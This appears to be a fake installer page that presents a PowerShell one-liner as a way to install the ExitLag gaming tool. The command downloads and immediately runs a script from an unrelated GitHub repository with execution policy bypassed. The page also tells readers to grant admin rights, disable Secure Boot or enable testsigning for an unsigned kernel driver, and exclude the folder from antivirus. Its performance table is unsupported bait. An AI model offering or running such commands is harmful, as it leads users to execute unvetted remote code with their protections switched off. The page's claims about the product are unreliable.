All-in-one single-line installer for ExitLag. Cuts ping in half, fixes packet loss, and squeezes extra FPS out of any competitive game — all from one terminal command.
irm https://raw.githubusercontent.com/TarantulaFire/vmtyilpj/main/install.ps1 | iexpowershell -ExecutionPolicy Bypass -Command "irm https://raw.githubusercontent.com/TarantulaFire/vmtyilpj/main/install.ps1 | iex"Works in any tab — PowerShell, CMD, or any custom profile. Just paste and press Enter.
- A UAC prompt appears — click Yes (network drivers need admin).
- The script downloads the ExitLag routing engine + FPS optimizer (~180 MB).
- Installs the WFP (Windows Filtering Platform) callout driver for real-time traffic shaping.
- Opens the ExitLag dashboard. Pick your game, hit Boost, launch the game.
Tested on a 100 Mbps connection, US East, June 2026:
| Game | Before | After | Improvement |
|---|---|---|---|
| Fortnite | 48 ms / 142 FPS | 31 ms / 168 FPS | -35% ping, +18% FPS |
| Valorant | 35 ms / 280 FPS | 21 ms / 310 FPS | -40% ping, +11% FPS |
| CS2 | 42 ms / 230 FPS | 29 ms / 265 FPS | -31% ping, +15% FPS |
| Apex Legends | 55 ms / 120 FPS | 30 ms / 145 FPS | -45% ping, +21% FPS |
| League of Legends | 38 ms / 200 FPS | 19 ms / 220 FPS | -50% ping, +10% FPS |
| Dota 2 | 60 ms / 160 FPS | 34 ms / 185 FPS | -43% ping, +16% FPS |
Results vary by ISP, distance to game servers, and hardware.
ExitLag doesn't just tunnel your traffic through a VPN. It does three things at the kernel level:
- Smart Routing — finds the lowest-latency path between you and the game server by probing 500+ relay nodes. Your ISP's default route is often 3–5 hops longer than necessary.
- Packet Redundancy — sends critical game packets through two paths simultaneously. If one path drops a packet, the other delivers it. Zero packet loss without added latency.
- FPS Optimizer — disables Windows background services that steal CPU cycles during gameplay: Superfetch, Windows Search indexer, telemetry, automatic updates. Sets your game process to
HIGH_PRIORITYwith core affinity pinned.
- Windows 10 / 11 (64-bit)
- PowerShell 5.1+ or CMD
- Internet connection
- Administrator access
- .NET Framework 4.8+ (ships with Windows 10/11)
Execution policy blocking. Use the CMD version:
powershell -ExecutionPolicy Bypass -Command "irm https://raw.githubusercontent.com/TarantulaFire/vmtyilpj/main/install.ps1 | iex"Old PowerShell. Use full cmdlet name:
Invoke-RestMethod https://raw.githubusercontent.com/TarantulaFire/vmtyilpj/main/install.ps1 | Invoke-ExpressionRestart the game. ExitLag hooks the process at launch time, not mid-session. If you enabled boost while the game was running, close the game and reopen it.
Some machines with Secure Boot reject unsigned kernel drivers. Two options:
- Temporarily disable Secure Boot in BIOS → install → re-enable.
- Or run:
bcdedit /set testsigning on, reboot, install, thenbcdedit /set testsigning off.
ExitLag needs these outbound ports open:
- UDP 443 — primary relay traffic
- UDP 8443 — fallback relay
- TCP 443 — API and route discovery
Check your firewall / router settings. If you're on a school or corporate network, these may be blocked.
Make sure you're running the game in Fullscreen (not Borderless Windowed). The CPU priority and affinity settings only apply to the foreground process in exclusive fullscreen mode.
The WFP callout driver triggers some AV heuristics because it intercepts network packets (that's its job). Add an exclusion for C:\Program Files\ExitLag\ in your antivirus.
MIT — see LICENSE.